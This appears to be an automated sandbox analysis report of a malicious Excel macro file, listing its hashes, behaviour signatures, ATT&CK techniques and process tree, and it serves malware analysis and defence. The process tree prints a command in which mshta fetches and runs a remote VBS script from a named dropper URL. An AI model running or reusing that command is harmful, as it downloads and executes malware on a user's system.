8277300c3d809c4afa9996d8f7586c9e293a8256bb8d8a4bb3a4dd21e175391a

General

Target

920f96788d41ba9a43556dfd4cbc1ba9b452dffce5a5b962107d3ffdcd5c7fed.xlsm
Size

13KB
MD5

90b0b5a51f143a5bd4efe22d767dcf1a
SHA1

1342cb0a36ac8371a9646dbcf9c3b47234002a7e
SHA256

920f96788d41ba9a43556dfd4cbc1ba9b452dffce5a5b962107d3ffdcd5c7fed
SHA512

2200dde2efa608ae89b74c4d041e2e1e44b7f29458d800849655d6670ceb6326a382c497548fcc0fec7613d8c893f306871fbf6b7090bfb4218f8a2590a0f47a
SSDEEP

192:H7UpMcgX6lPfrXpS0hDWOVelKCxxWBWb49hugLIJnHsrbgMS1bTk:H7+McQ6ZTp5WOCKCxoBWmLoabgm

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs%60

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2564	2280	cmd.exe	29

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2344	mshta.exe
7	2344	mshta.exe
8	2344	mshta.exe

Deletes itself 1 IoCs

pid	Process
2280	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\8A087F00\:Zone.Identifier:$DATA	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2280	EXCEL.EXE

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2280	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2280	EXCEL.EXE
2280	EXCEL.EXE
2280	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 2564	2280	EXCEL.EXE	31
PID 2280 wrote to memory of 2564	2280	EXCEL.EXE	31
PID 2280 wrote to memory of 2564	2280	EXCEL.EXE	31
PID 2280 wrote to memory of 2564	2280	EXCEL.EXE	31
PID 2564 wrote to memory of 2344	2564	cmd.exe	33
PID 2564 wrote to memory of 2344	2564	cmd.exe	33
PID 2564 wrote to memory of 2344	2564	cmd.exe	33
PID 2564 wrote to memory of 2344	2564	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\920f96788d41ba9a43556dfd4cbc1ba9b452dffce5a5b962107d3ffdcd5c7fed.xlsm
1⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c 78.bat
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\SysWOW64\mshta.exe
    mshta https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs`
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\920f96788d41ba9a43556dfd4cbc1ba9b452dffce5a5b962107d3ffdcd5c7fed.xlsm

Filesize
12KB

MD5
6a6bb4f7588ac1ad003d672785fe1389

SHA1
f70ef1495946cf1d6122e4037cc03fd226cf97c6

SHA256
9348a203e60ad84956f40f5d0ff652c2c1fb32ed23f5fcf8ec3354742d5ab00a

SHA512
8da9a296e1ecd9c249b5058376fd06d1c88fe748f6a0857abfd868c22bc4b2c7a55792d8c048b76bb6dc3abaf60166da55e97a191f449dc6385831fd6b27d047

Download Submit
C:\Users\Admin\Documents\78.bat

Filesize
71B

MD5
0a7f66a70d2da03d8fc6b8065249f187

SHA1
988ecb0d1cea371e99475d4d332cf22e354b45bc

SHA256
6aaad30d27006fbe1bdb2ae6adcf077a33c601fa557fa8f6f9d34913131ba17a

SHA512
ef318f60ff5d5e68cf8e81e32a03b22689094372f82ecdf7f6063e89ce1c6a724ea33338bd7c2c5a2880a47b51c022d51b64e426c50ca04b3123499057bb4d4f

Download Submit
memory/2280-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2280-1-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download
memory/2280-2-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download
memory/2280-3-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2280-4-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2280-5-0x0000000000570000-0x0000000000670000-memory.dmp

Filesize
1024KB

Download
memory/2280-25-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2280-26-0x0000000071E2D000-0x0000000071E38000-memory.dmp

Filesize
44KB

Download

Analysis

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